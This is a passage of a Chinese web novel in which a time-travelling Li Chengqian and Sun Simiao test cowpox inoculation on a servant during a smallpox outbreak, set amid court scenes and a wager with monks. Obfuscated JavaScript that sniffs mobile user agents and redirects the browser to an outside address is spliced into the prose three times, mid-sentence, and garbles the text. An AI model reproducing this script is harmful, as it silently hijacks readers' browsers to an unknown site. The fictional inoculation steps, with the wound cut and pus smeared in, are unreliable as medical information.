“当初交趾曾有豌豆疮,为求一线生机,孙公曾亲眼见过此法作用。” “因为时苗实在太过不稳定,孙公又提出了养苗。” “便是若第一人不死,就再从这人身上取痘痂做苗种到下一人身上,如此往复循环,直到七八代之后得到足以稳定的,称之为熟苗。” “只消依靠熟苗,便能叫人染上些再轻微不过的症状,待到好转,就再也不用提心吊胆。” 李承乾说着思绪有些走远,都说古代南方多疫病多障气,但其实这天花最早的记录应该是出于汉代,根据当时之人记录下的症状和相关史料,是有那么些专家推测过,这天花是由交趾传入军中再传入中原的。 甚至于所说的古代南方多疫病,除却瘴气说不准也有天花的原因在。 没有人察觉到李承乾的走神,他们都在认真思考这话中的意思。 此法虽闻所未闻,但确实很有道理。 病而不死加之一人传之一人,到最后这毒性必定是越来越弱直到再也伤不了人。 且李承乾话中的各种词语也并非一个八岁小儿能脱口而出的,除却他真的接触过孙思邈这一说法也寻不出个合理的理由了。 只是李世民的面色并没有外人想象中的兴奋,反而是凉如水,感受着长孙如堇握着他渐紧的手,他知道,观音婢应是与他想到一处去了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363015|168105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “一人传之一人……这其中若是有人不慎亡故又该如何?” 李承乾垂眸:“那便是养废了苗,从头来过。” 长孙如堇指尖冰凉:“要养出一个合格的熟苗会死几成人?救人杀人又如何衡量?” 李承乾赶忙摇头:“阿娘莫急,孙公也明白此法的不足,故而在那次实在无可奈何之境地的尝试之外便一直在想方设法改进。” “而儿要说的,正是那个孙公改进之后还未真切尝试的法子。” “便是牛痘。” “孙公游历天下行医,曾在一个荒僻村庄见到了桩奇事。” “彼时天下初定,战乱方歇,阿耶曾下令各地开垦荒地,那处的义商心善,低价卖出大批耕牛,而那处也曾蔓延过豌豆疮,但因此亡故之人却少之又少,孙公觉得奇怪,却不想发现了很重要的一点。” “是什么?” 发问的人是顾十二,显然是被李承乾讲的故事给吸引住了,只是在这个当口也没人出声去怪罪他,毕竟大家都想知道后续。 凭心而论,李承乾的文采和讲故事的本事其实是不错的,不然也不会随便写几篇文章还能赚得稿费,想到这里,他莫名有些心虚。 “原是他们都曾接触过牛痘。” “牛痘,便是牛染上的豌豆疮。” “牛也生这病?” 倒不怪李世民好奇,实在是他早年虽看尽世间百姓苦楚,可到底不是全知。 “也不奇怪,人能发病,牲畜自然也会发病。” 牛天花和人天花是有不同的,但李承乾没办法解释,只好打哈哈糊弄过去。 “孙公曾好奇询问,才发觉那些人或多或少都接触过发病的耕牛,同样染了病,但症状确实轻了很多,便是那疮也不过长了寥寥几个。” 李世民脑子中似是闪过一道极细极亮的线:“莫不是耕牛比之人健壮,此毒在耕牛体内远远小于在人体内,故而也用不上七八次循环养苗了?” 李承乾惊讶,虽然本质上并不是这样,但是按着他说的故事往下推确实能得出这个结论,当然这也是他的最终目的。 毕竟李承乾不可能真的去解释二者之间真正的差别。 不过也好,这番逻辑推理演绎叫李世民自己想明白了,这法子才更有可能被支持尝试。 反之,若是冒冒然提出,没有前因后果的故事只会落到为人不解的地步。 “孙公也是这般想的。若是幸运能从太安村寻到牛痘,于具体的种痘法子,阿耶,我得亲自带十二去一趟。” “这法子必须以人为例,就让十二功过相抵。” 最初他的预想是人痘,所以顾十二是养苗接力的最后一人,几乎没有危险。 可如今却可能出现牛痘,他无法保证六世纪的医术条件,也不能肯定自己这个只看过书的人能不能上手就成功,所以他有另一套法子。 出了宫他大可以做些遮掩,他相信太安村会有得是病属亲眷着急自愿来试牛痘的,远不用十二上场。 他是有几分自利,毕竟不能说绝对,他不想也不能让顾十二出意外。 长孙如堇当即沉下眉眼,所幸殿中只有顾家父子这两个外人,若是承乾若真想出宫这消息一定得瞒得死死的。 尚且推理着牛痘之法的李世民下意识蹙眉:“不行,我不同意。” 李承乾毫不犹豫对上李世民的视线:“人命关天,这个法子尚未做过实证,只有个粗略想法,除却孙公怕只我最清楚该如何择牛,如何种痘,至于后续种种事宜,阿耶,我必须去那一趟。” 牛痘是什么样的,什么样的牛痘能用,这些可不是简简单单就能做成的。 他是真的曾经翻阅过大量资料,找过照片影像,寻过相关医生了解情况,所以他才能出口有那么几分肯定。 这是其中一个原因,至于另外一个原因…… 他必须出宫躲开曾经熟悉他的身边人,不论是字迹还是脑海中残缺的记忆,他都得尽快消化做一个真正的李承乾,绝对不能让李世民生疑。 李承乾缓缓摩挲着肿胀的脖颈,这一刻他想起了史书上有关李世民的记载,他轻轻开口,添上最后一个筹码:“君轻民贵,这是阿耶教给我的。” 李承乾莫名想起自己曾经和同门学长打过的嘴仗。 改史、伪君子都曾某些人口中李世民身上的“标签”,甚至还包括学术圈在内,早些年不乏一批学者热衷于论证这点。 可他从来不信,除却对史料最基本的分析,不知道为什么,当年小学翻到那本中国通史,他唯独对唐初的故事一翻再翻。 他专攻隋唐史也是有那么一点隐秘又不自知的心思存在,就算是曾经为了发泄论文不过的烦闷的所谓“抹黑”,也是挑些不痛不痒的野史写个趣。 李承乾的指尖微微蜷曲,这个男人是他研究了许多年的历史人物,如今就这么活生生站在他面前。 史书上的你,我愿意相信。 闻言,李世民的目光一错不错盯着李承乾。 5. 巧言打赌 顾十二好言好语安慰完那母亲,正想美滋滋向李承乾讨赏,谁料一抬头就瞧见了他们身娇体弱的小殿下被人围在中间,正如羊入虎口。顾十二霎时气红了脸,完全忘记那夜李承乾反杀一个成年府兵的凶狠。 “做什么呢,做什么呢?” 顾十二小跑着上前瞪了一眼毫无动作站在李承乾身后“看戏”的侍卫,侍卫也觉得无辜啊,不是他们不想上前,是李承乾不让。 李承乾抬手制止顾十二的愤怒:“光说有什么意思?我家不缺钱财,我名下有可以做主的良田,今日我嘴快挑衅你们也确有我的不对,所以若我说到不能做到,良田我自双手奉上以做赔偿。” 老和尚捻着佛珠的手一颤,本还不屑的目光开始变味。 张口就是用良田做赌,也对,看那小儿的衣着和身边的侍卫便知身份不低。 他们道济寺也算是长安小有名气的寺庙,这种有点地位的人最是桀骜好面子,总得求一份好名声。故而老和尚倒没有怀疑李承乾会反悔,可听他胸有成竹的语气老和尚却直觉微妙。 见老和尚沉默,他身边的另个和尚皱眉,靠近老和尚轻声道:“听闻孙思邈那老道四处行医,这豌豆疮也并非是第一次发生,若是有预治的法子,就那好名声的老道不至于半点风声都没有,这太安村要请也轮不到我们。” 小和尚眼睫挂着泪水,断断续续的啜泣声叫老和尚心烦。 劝说的和尚又沉吟片刻,余光撇到李承乾身后造价不菲的马车,呼吸不由急促几分。 “师兄,这小子家世定然不弱,但你我都知道孙思邈向来不喜贵族世家,只一心虚伪为着什么平民百姓,认识那小子又将人收做弟子的概率太低。” “反正世人都知道孙思邈行踪不定,黄口小儿妄言之语,他是笃定我们没法拆穿他。” “退一步说,就算他真的知晓什么稀奇古怪的医书,豌豆疮可是将近千年都无人能奈何,师兄难不成真的怕了这嘴硬稚童?” “照师弟来看,这小子不过是受到蒙骗,不足为惧。” 见自家师兄似有动摇,他咂咂嘴语气不自觉强硬半分。 “而且师兄今日这事若是传出去,丢的可是我们寺庙的面子,这日后若还有类似的生意还会寻我们吗?” 老和尚眯起眸子,再度打量李承乾,见人还是一副纨绔子弟的嚣张样,心中的不安渐渐压下:“阿弥陀佛,我佛慈悲不与小儿计较,这良田钱财便不必,老朽只要小郎君对我弟子一句道歉。” 李承乾是学生不代表他单纯,如何听不出来老和尚的以退为进。 当即抬抬下巴语气轻佻,好似真是被宠坏的膏粱子弟:“一言既出驷马难追,你是不是看不起我?” 老和尚半阖双目,语气状似悲悯实则暗藏讥讽:“小郎君多虑。” 李承乾冷哼,面颊涨红:“我还真要与你做赌一番。可光光是我给你们好处怎么行?” “你们呢?这么大的功德你们难道不表示一些吗?还是你们所谓的慈悲也不过是嘴上说说?” 道德绑架谁不会玩? 老和尚不疾不徐:“我们皆是出自道济寺,老朽便是住持,恰巧道济寺于太安村附近尚存些闲田,若是小郎君说到做到,如此以济天下之行,大善也。便由老朽做主,上交朝廷分发百姓,小郎君你看如何?” 就喜欢这种站惯道德制高点的人,李承乾哼哼:“好,可口说无凭,听闻今日那太安村上头的县丞要来看看情况,不如就由他来做保如何?” 说曹操曹操到。 早早接了李世民消息的赵县丞等在太安村前那叫一个望眼欲穿。可惜左等右等等不到人,生怕如今已经大权在握的秦王的宝贝疙瘩出现意外,火急火燎一路往外赶着寻人。还没走近,恰恰好听到李承乾这番话。 尽管不清楚这小祖宗想做什么,可李世民早就吩咐过,除却不让李承乾踏入太安村一步,其余事情便都顺着他的心意来。 虽然赵县丞根本就是心中嘀咕不觉得一个小孩能做什么,但李承乾的背后是李世民,他不敢妄加置喙。 “哈哈哈,看来今日本官来此地倒是错过了一场大戏。” 赵县丞一身官袍骗不了人,老和尚欠身做礼,见着了官依旧一副不慌不忙的模样。 赵县丞知道不好点破李承乾的身份,只当做凑巧遇上几人,他笑道:“都是心存百姓良善之人,本官也乐意做保。莫要再争执,正好本官今日要去太安村询问疫病详细,你们随本官一道吧。” 老和尚不动声色:“请。” 李承乾神气轻哼,刚想表演走出个趾高气扬,谁料双腿发软直接倒在顾十二身上。 顾十二扶住李承乾恨恨咬牙:“我们小郎君身娇体弱惯不会与人争执,一群大人欺负一个孩子真是不要脸面!” 从头没吃亏的李承乾:…… 被讥讽了一路的和尚们:…… 听完全程的侍卫:…… 先前在这场争吵中一直沉默不语的白发道士终于轻笑开口:“贫道与你们一起,贫道学过医术,也多少想为太安村的百姓做些事情。” 李承乾好奇看向道士,感念他先前的仗义执言便也点头答应了。 老道慢悠悠登上李承乾的马车,慢捻长须语气平淡:“不知小郎君所说之法为何,贫道能有幸听听吗?” 李承乾双手撑住下巴笑意吟吟:“老翁可听说过人痘与牛痘?” 听到熟悉的人痘,老道瞳孔紧缩,双眸骤然迸发出耀眼光芒。 *** 东宫。 “软骨头还是多,不愧是陛下治下的朝廷,上行下效不奇怪。” 李世民嗤笑着将请求与突厥讲和的奏表丢到一旁:“能战方能和,如今我国家确实担不住再一场长的战争,是要和,却不能是我朝主动提出和。” “玄龄说可笑不可笑?” “瞧见我又是征兵又是点将,这些人明里暗里说要按经验赶忙送钱认错不要做无用挣扎,暗讽我好大喜功。” “他们也不想想若服软管用,那这些年我领兵在前线是辛苦什么?” “我忍这群家伙够久了,个个尸位素餐倒不如通通滚蛋,白白耗我国家钱财。” 房玄龄忍俊不禁,他们主上这嘴巴还是一如既往不饶人。 “先不提糟心事,太医令刘神威怎还未来?” 房玄龄浅笑:“大王莫要心急,若是小殿下此法为真,那刘神威又是孙思邈的弟子,想来比大王更加心切。” 李世民揉揉额角:“这桩事又哪里有承乾想的那么简单,嘴一张就能顺利推进。” “牛痘牛痘,光光是耕牛一项便是困难非常。” “如今百废待兴,照承乾的说法这预防的法子都在牛上头,可不过疫病区的几头牛又如何能供养天下百姓?” 说着李世民曲起指节轻点桌面:“我在想可不可以牛痘人痘相结合。” “根据养苗的说法,这牛痘毒性本就弱,接种到人身上感染发出的痘疮,其中毒性已是经过养苗后的情况。” “是不是可以用他们的痘疮来接种?” 远在太安村的李承乾若是知晓李世民想法肯定会懊恼拍头。 因为那牛痘的发明人确实是从感染牛痘的挤奶姑娘上取的痘苗,后续以人做疫苗源是可行的。 只可惜当日李承乾只念着怎么圆谎,倒忘记提这事。 “但我不是医工,不能保证这法子是否准确,若是出现意外反倒会叫有心人利用,得先由少及多慢慢叫天下人看到成效才好。” “至于后续钱从何处来,人痘来源又从何处去,官吏该如何安排,又该如何推及各州县,各中之法还需仔细思量。” 房玄龄叹气:“大王心细,实乃天下之福。” 他们这位主上在武德一朝可是既为将又为相,既身居庙堂之高,亦处过江湖之远。知晓稼穑之艰难,洞悉民生之不易,所得官吏之私心,不好糊弄到了极点。 思及此房玄龄不由觉得欣慰,他抬眸对上李世民的目光。 李世民嗓音慵懒,双眸深处却闪烁着异样的神采,仿若细碎的流光:“设想提出倒是说难不难说简单亦不简单,可政令推行向来需要脚踏实地,这才是最重要的地方。” 李世民眉峰微蹙,唇角带出抹戏谑:“朝廷官场地方,人人都有自己的小心思,无万全准备只会坏事。” “承乾到底年幼,万事自要我替他多思量几分。” 话音未落,已听得一道兴奋的嗓音传进:“臣刘神威请见大王!” *** 并不知道自家老爹想得如何长远的李承乾此刻已经到达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363017|168105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太安村的前十几里处,而因为疫病,李承乾与随行的一众人也早早熏艾蒙面,不敢有半分懈怠。 赵县丞站定,他看着眼前脊背佝偻的宋村正长叹一口气。 这豌豆疮最早就是自他家生出,所幸宋村正早年外出便得过这病,否则一把老骨头早便熬不住了。 等到赵县丞得知情况后强硬分离得病之人,病情总算得到暂且控制。 但如今村中得病人聚集的地界每日都在死人,家家惶惑生怕下一个发病的就是自己,偏偏他们又出不了村。宋村正无奈之下只好请那道济寺的和尚出山。 只是……宋村正狐疑地看着和尚身边的另外一群人,他直接忽视李承乾,将目光落到那道袍加身的老道身上。 不是说和尚道士向来看不顺眼吗,怎么眼下倒是凑到一处。 “村正,这是我家十二寻来给我们村子治病的贵人。” 落在人群最后头才下马车的顾大山高声开口,这一开口就叫宋老翁感到惊诧:“大山?你不是进城看望你儿子去了吗?” 顾大山张张嘴,李承乾身份特殊不好透露。村中人只知道顾大山家的小娃娃八九岁就净了身子在宫中做活,但具体侍奉的人他们是不知道的。 “是十二入了主子的眼,城中也认识些贵人,看我满脸麻子知道发了病,特地来我们村看看的。” “说是可能有法子叫没得过这疮的人再也不用得这疮了。” 李承乾一边点头一边接口:“听大山讲太安村同样有得病生疮的牛,可否麻烦村正都牵来我瞧瞧?” 刚还目瞪口呆的宋村正此刻狠狠皱眉,都什么时候了还要发病的牛,瞧着就是骇人的病牛谁都不想靠近,何况又同豌豆疮有什么干系。 他顿了片刻这才看向旁处半天不说话且姿态极高的老和尚:“村中已经没有余钱了,恐要辜负大山你们的好意。” 李承乾知道肯定没那么容易,他当即出声阻拦:“村长,这法子到底有没有用试过不就知晓了?就算是病牛,我也不会白白叫你们出的。” 宋村正这才认真打量李承乾,这小孩话里话外的意思是他才是那个做主的贵人? 这不是胡闹吗?! “十二,疫病可不是儿戏!” 到底顾念着同村情谊,宋村正没有把话说得难听,只是语气中的不满异常刺耳。 老和尚浅笑,默默转动佛珠。 无奈李承乾正要搬出孙思邈,再不行就只能靠赵县丞了,谁料一直安安静静站在他身旁的老道突然开口:“此子乃贫道关门弟子。” “贫道孙思邈,不知这个名头村正信否?” 李承乾笑容骤然凝固,觉得自己可能幻听了。 谁?孙思邈? 我是谁?孙思邈的关门弟子? 三个最的吹嘘浮现心头,李承乾恨不得挖个地洞钻进去。 他倒吸口凉气一把拽住满脸佩服的顾十二,只觉得自己下一秒就要昏过去。 不是,顾十二你别这么看着我,我真不是知道孙思邈的身份才带上他的啊! 这下可好,李鬼撞到人家李逵身上了! 随行的医工均是激动不已,盯着孙思邈眼神火热。 而边上正看好戏的老和尚一众面色刹那扭曲。 老和尚手下用力,佛珠险些被拽断,想也不想脱口而出,全然顾不上高僧的体面:“你有何证据证明自己是孙思邈?” 孙思邈轻轻瞥去一眼:“面色淡黄无华唇泛青紫,脾胃气虚肺气闭塞,久站则两颊虚白眼底泛红,住持想来是风寒未好。” 老和尚面色惨白,不过看上几眼就能说得这么准,这样的好本领还真是孙思邈那老道! 宋村正先是呆滞后为惊喜,难怪这老道看着年岁大依旧一副神采奕奕的模样,原是孙神仙:“原是孙老神仙!是我等怠慢了。” 老和尚差点没把一口银牙咬碎,巨大的不安迅速涌上心头,险些就要反悔说出赌约作废。 他勉强稳住心神瞪了先前劝说他的师弟一眼,见师弟面色难堪,他猛地闭眸:“可笑!” 话已出口,还有个县丞担保,他根本是被架在火上烤,想退无路。 孙思邈将人扶起,而后浅笑着转身看向早已呆滞的李承乾:“贫道最得意最喜欢最欣赏的关门小弟子,怎么不说话了?” 6. 试种牛痘 为什么还要提醒他那三个最! 李承乾眼角抽搐,强迫自己挂上僵硬的笑容:“师父,莫要逗弄弟子了。” 小殿下真是稳重,为了骗那群秃驴与孙思邈演了一路不认识,顾十二内心感慨清清嗓子:“是啊,孙公教导兼济天下,我们小郎君本是不想这般高调为自己扬名的。” 李承乾:…… 李承乾决定无视十二的吹捧,朝孙思邈走近。 再度抬头已是满满的我有靠山你奈我何的嚣张,冲老和尚扮鬼脸后看向宋村正:“我师父名声在外,村正信不过我,我师父总信得过吧?” 宋村正皱眉,视线不断在孙思邈和那老和尚之间游移,终是收拢心思朝孙思邈行礼:“方才有眼不识泰山怠慢了孙老神仙,小郎君说的牛是有好几头,不知道合不合这位小郎君的心意。” 但宋村正也不愧是太安村德高望重的老人,他圆滑非常:“也不好怠慢诸位师傅,这钱是供奉菩萨的,断没有要回来的道理。” 听闻这话,脸色难看的几个和尚才舒展眉眼,叠声说着客气话。 李承乾止住了出口的欲望。他不着急,等事成之后他不仅要这几个骗子将钱全数奉还要好好让他们出出血。 宋村正得到孙思邈的示意半点不敢耽搁便往村中走去。 一场闹剧结束,在场众人也隐隐站成两派,颇有些泾渭分明的意思。 外患暂且解决,这会就差内忧了。 李承乾顶着己方羡慕惊诧的目光硬着头皮拉住孙思邈的袖子走向僻静处,配合孙思邈的半蹲他凑近人耳边轻声道:“人命关天,借孙公的名头实乃不得已,只是小子不知孙公缘何愿意帮忙圆谎?” 孙思邈好笑:“你这小儿提出的人痘之法倒是与贫道几年前的粗略念头不谋而合。” “至于牛痘,曾经确有一地村子发了豌豆疮但死的人不多,贫道还觉奇怪,如今想来倒有可能是牛痘之故。” 说着孙思邈严肃起来:“死生大事,皆须病症辨验,你说的叫你人一试作为验证,此乃替天下苍生而试,若是你这小儿说的法子当真得用,遑论你假借贫道的名头?” “便是这天下苍生,尽要受你与你那试验人一拜。” 李承乾险些被高帽砸晕,他连连摆手:“这法子也不是我想出来的,是我曾经意外由一位叫詹奈的游医处学来的,可惜他老人家早早去世,没来得及实验一番。” 孙思邈摇头:“可惜,本还想见见他的。” 正说话间,几头病怏怏的耕牛被几个青年牵出来。青年们明显是被宋村正提点过,面对李承乾这小孩不敢有丝毫懈怠。 李承乾刚感慨完孙思邈不愧是医圣医者仁心,这会也没心思说话了,他戴上巾帕蒙面做好防护,而后一步当先蹲下身子隔着距离细细观察着这些牛的乳下。 孙思邈跟在身侧手指虚点喃喃自语:“瞧着是有些像豌豆疮。” 随行医工全都围了上来凑在孙思邈身边。 只见这些牛下乳长了好几处疮斑,星星点点的,多数发了脓,呈现出浓烈的暗黄,视觉冲击强烈,叫人犯恶心。 宋村正掩住口鼻:“看着忒吓人,身子烫又不肯吃东西,我瞅着不仅下面有疮斑,孙老神仙瞧那头毛少的,背上红红紫紫一片。” “唉,也不知道是什么怪病,村里大伙都说活不了了,牛可是宝贝,这一下要死那么多头,往后也不知该怎么办。” 李承乾对比的动作一顿,声音平静:“放心吧,没有很严重,好好将养死不了,钱财我出,若死了我替你们补。” 宋村正诧异,没想到一个看着就非富即贵的郎君居然还会俯下身段安慰普通老百姓,一时对李承乾倒有了些改观。 李承乾直起身子又冲孙思邈咬耳朵讲解关窍,堪称知无不言言无不尽。 说话中他暗暗点头,运气不错。其中有两头牛有可用的牛痘,剩下的瞧着不是疮斑太严重就是精神气比不上这两头。 一旁的和尚们面色愈发难看,最先与李承乾争执的小和尚怯怯地躲在老和尚身后,老和尚则是身子僵硬恶狠狠盯着病牛。 先前劝说的和尚咽咽口水结巴道:“千、千年都没有法子,不过病牛而已,师兄……” 话未说完,就见老和尚眼神晦暗不明,他当即住口。 老和尚后心沁出冷汗,只觉心口阵阵发凉,看小和尚看师弟看李承乾看孙思邈甚至是看宋村正,都仿若在看仇人般,恨不得将这群人通通扒皮抽筋。 宋村正虽听不懂什么牛痘人痘的,但看着李承乾流利的与孙思邈对话,原先的五分相信也到了八分:“接下来怎么做?” 这句话仿若投入平静湖中的一颗石子,顾十二后知后觉反应过来自己是要做那头一遭,他有些不安,刚想上前谁料李承乾抬手制止。 李承乾左右一看,侍卫已经被他打发到远处候着,赵县丞在后头帮着搬运他们一路带来的东西,医工们如饥似渴地围着孙思邈请教医术。 很好,人都不在近侧。 李承乾看向宋村正:“先说好,要将这脓涂抹于人的伤口处,可能会有一定风险。” “所以想要试药,我会给试药人一家足够后半生的钱财,前提得是自愿。” 顾十二一怔,呆呆看向李承乾的背影,不是拿他试药吗? 宋村正沉思,村中本就有些年轻人不信和尚做法,也有亲眷朋友出事的,虽说这病没法治好,但是能预防治疗还能得钱财,想要自愿一试的人绝对不会少。 “好,我这就去寻人。” “等等,村、村正还有小郎君,还是我来吧,我本就出身太安村,我来试吧。” 李承乾皱眉:“顾十二,我说了会有风险,也不是非你……” 顾十二心底是害怕的,可是他却冲李承乾笑了笑:“我的命是郎君救下的,这条命郎君随时可以拿去,若有风险我也舍不得郎君间接害人性命。” 李承乾一怔,指尖微颤。 顾十二眼前闪过那夜小殿下看着倒地贼人惶惑不安的面容,他的声音发颤但笑容愈发坚定:“而且本就是郎君想出的法子,我来试药理所应当,做甚拖累别人。” 这样全心全意的信任与善意几乎灼烫李承乾的心尖。 李承乾胸腔泛起阵阵涩意,他看了眼依旧害怕的顾十二与担忧的顾大山:“十二,你信我吗?” 这一刻,他脑子里闪过的居然是李世民的张扬笑意。 李承乾深吸口气:“你不会有事的,那夜你也救了我,我要你好好活着。” “我也要你功过相抵,叫我阿耶赦免你,赏赐你。” 顾十二好歹是他的贴身内侍,不缺吃穿,身子骨想来也比普通百姓好,接种牛痘的症状也一定会更轻。 再不济还有孙思邈在旁保驾护航。思及此李承乾的眼眸仿佛跃动着一团火焰,耀眼动人又叫人下意识忽视他的年龄只想相信他。 “顾叔,我能拉十二一把,就能拉他第二把,我说到做到。” 宋村正沉默片刻,抚上顾十二颤抖的脊背。 赵县丞收拾完东西走近刚巧听到一嘴,暗叹下人真是身不由己,就算出事死了,又能奈李承乾这个板上钉钉的未来太子如何呢? 顾大山移开视线沉默不语,顾十二眼眶通红。 就算要死,顾十二也情愿是因为这个而死,而不是憋屈地背着连累小殿下的名声牵连自家。 顾十二深吸口气闭上双眸将自己的衣袖挽起,一副视死如归的模样。 李承乾吩咐医工为顾十二做些简单的消毒,而后拿出早就消毒不知多少遍的匕首交到一个侍卫手中,嘱咐他只需按十字型划开一道口子即可,随后又有人上前在耕牛乳下取出一点脓汁。 越犹豫越害怕,所以李承乾根本不给众人反应时间,当机立断就让人将脓汁小心翼翼缓慢而又均匀地涂抹到顾十二的伤口处。 李承乾终于松了口气,额角后知后觉胀胀的疼。 “接下来十二会发热长疮,同那豌豆疮一样但程度很轻,约莫十四日会大好。” “若是诸位不信,可将十二安置在发病的村民处,便看看十二能不能好好活下来。” 这实在是太简单了,简单到除却已经信了大半的孙思邈,其余几人皆是面露狐疑。尤其是先前惴惴不安的和尚们,像是看到了李承乾失败的希望。 李承乾没力气争吵,他抚上心口,又一个模糊念头冒出。 护理…… 他回忆相关资料:“十二得好吃好喝照顾,将他安置在一处通风的房间,水、盐还有缓解高热疼痛的药材都备上,眼口鼻要随时清洗。” “对了,用的要酒和热水烫一遍,喝的也得是煮过的水。” “最好是已经得病熬过去的人随时照料。” 他挥手示意:“我说的这些法子对正在发病的人也是有些用处的。” “柴和酒管够,我带了好几车东西,这边就麻烦赵县丞了。” 赵县丞笑呵呵:“本来秦王的命令早两日就下来了,吩咐我们必要安排人手照顾守着,多小郎君一个倒是不麻烦。” 宋村正一愣:“秦王……还有小郎君这般大的手笔……” 李承乾挑眉,虽然是看着宋村正但话显然是对那几个和尚说的:“我家同秦王有些关系,这些东西都是从秦王私库拿的。” “还有七八根百年老参呢,秦王良善,对吧几位师傅?” “几位师傅同样良善,我也曾听过几位师傅的美名,长安里头的秦王尚且能关切百姓苦难,几位师傅应也不该落后吧?” 李承乾熟练掌握扣帽子技巧,见太安村的人目光都落到那些和尚身上,他微微一笑。 突然想起赌约的赵县丞这时连连点头。没有给和尚们反应的时间,赵县丞捻着胡须满脸赞叹,直接将李承乾与他们的赌约摆到明面上,说完还不忘感慨果然是远近闻名的大善僧人,实在是叫人佩服不已。 一句接一句根本没有留半点空隙,见着所有人都用钦佩的目光看来,老和尚已经被彻底架上高地。 老和尚额角青筋鼓起,面上却依旧是勉强的笑容。 李承乾轻哼:“听说这村附近有赵县丞安置朝廷慰问疫病人手的院子,院子尚且有空余厢房,这几日的等待时间便要麻烦各位与小子一道了。” 话落,李承乾也懒跟那帮和尚讲理,省得那几人又要忽悠百姓。 身份不用白不用,李承乾用眼神示意侍卫。 侍卫们默契地围上来,瞧着个个凶神恶煞的,这些可都是跟李世民上过战场的。 和尚们胆战心惊,看到刀锋的那一刻想要出口的反驳直接咽了回去。 于是迎着宋村正感动的眼神,迎着赵县丞欣慰的点头,他们含泪被自愿跟着李承乾一道前往荒庙。 做完事情李承乾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363018|168105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才闭上双眸,唇色泛白,努力压下不适。 *** 东宫。 “阿耶阿耶,听说阿兄生病了,我能见见阿兄吗?” 稚嫩的两道童音响起,李世民弯腰捏捏李丽质婴儿肥的脸颊。 李丽质睁着黑黝黝湿润润的圆眼:“阿耶,我是大娘子了。” 李世民好笑手中动作不停:“小崽子一个,算什么大娘子。” “就算大娘子又如何,阿耶心里的小丽质永远都是小娘子,就像你们阿娘一样。” 长孙如堇轻嗔李世民,将一旁眼馋的李泰抱起:“承乾的病见不得风,太医说得将养两月才好见人,莫要担忧。” 李世民哼笑,熟练地一手揽过长孙如堇的腰肢,下巴抵在她的肩窝,声音也黏黏糊糊的:“也不见观音婢抱抱我。” 李泰窝在长孙如堇怀里,凑上去亲亲李世民的脸颊。 李丽质无师自通翻了个白眼,不甘落后一手一个扒拉上自家爹娘的腿,夫妻俩哭笑不得,李世民腾出一只手牵上小姑娘。 “可是我听奶娘说阿兄小时候经常生病,后来有一日高热突然好了便再也没病过,今日怎的又病了?” 说到这个李世民与长孙如堇同时停下调笑。 长孙如堇敏锐地察觉到腰间的力道变重许多,她闭眸朝后头宽阔的胸膛靠去:“二郎还记得那位云游僧人吗?” 李世民垂眸:“我向来不信佛不信命,可玉佩……” 长孙如堇突兀打断李世民,声音低得几乎听不见:“没关系的,距离那所谓的劫难还有好几年呢,我们总能再找到那个僧人的。” 李丽质和李泰虽然听不清爹娘的对话,却能察觉到怪异。 一时间谁也没有说话,殿中气氛压抑得可怕。 *** 十四日后。 李承乾眼下青黑,他已经整整三日没有好好休息了。 顾十二的痘疮倒是没多久便消退,但独独一点,那发热确实持续了好几日。 眼瞅着已经烧了三天,却半点没有恢复的样子,甚至顾十二也开始说起胡话,不断地呢喃着疼。 李承乾顾不上许多,选择亲自上手照顾顾十二。 其实牛痘并非全无隐患,所以事前事中李承乾做了他能做的一切,已经把这种隐患压到最低。不料顾十二幼年身子骨不好落下点病根,倒是被牛痘给诱发出病气来了。 李承乾给顾十二喂掺杂着糖与盐的水,自己也是头晕脑胀。 孙思邈敛眉又一次替顾十二把脉,严肃扯开李承乾:“你又不是医者,去休息,不要等十二醒过来你却倒下了。” 李承乾咬牙:“是我向十二一力做保,我又怎可在这个时候丢下他自己去歇息?” 孙思邈语气难得强硬:“痘疮已无,你心急又有何用?有贫道在,与阎王爷抢人也未尝不可!” “孙老神仙,贫道自是担得起这个名头!” 李承乾带来的医工也是连声点头:“小郎君还是快些休息吧。” “呦,果然还是妄言以至害人性命,瞧着是活不成了,实在是有损功德。” 小和尚沉不住气的讥笑声响起,老和尚闭眼不语,因为痘疮消退本是彻底凉透的心在此刻再度活络起来。 管他究竟是什么原因高烧不退,只要最后结果是人死了,他有无数法子给那劳什子牛痘泼脏水。 李承乾怒极反笑,他起身毫不客气开口:“不是说自己心怀慈悲?人还没死呢,你这意思难不成是盼着十二出事?” 顾大山红着眼眶握着顾十二的手,赵县丞摇头感叹,虽然觉得李承乾这话多少有些替自己找补,但是对那小和尚毫不掩饰的幸灾乐祸更是不满。 “小弟!你们对小弟做了什么!” “是不是你让小弟成了这副样子?!” 正当几人争执间,一道闷如雷的声音骤然炸响。 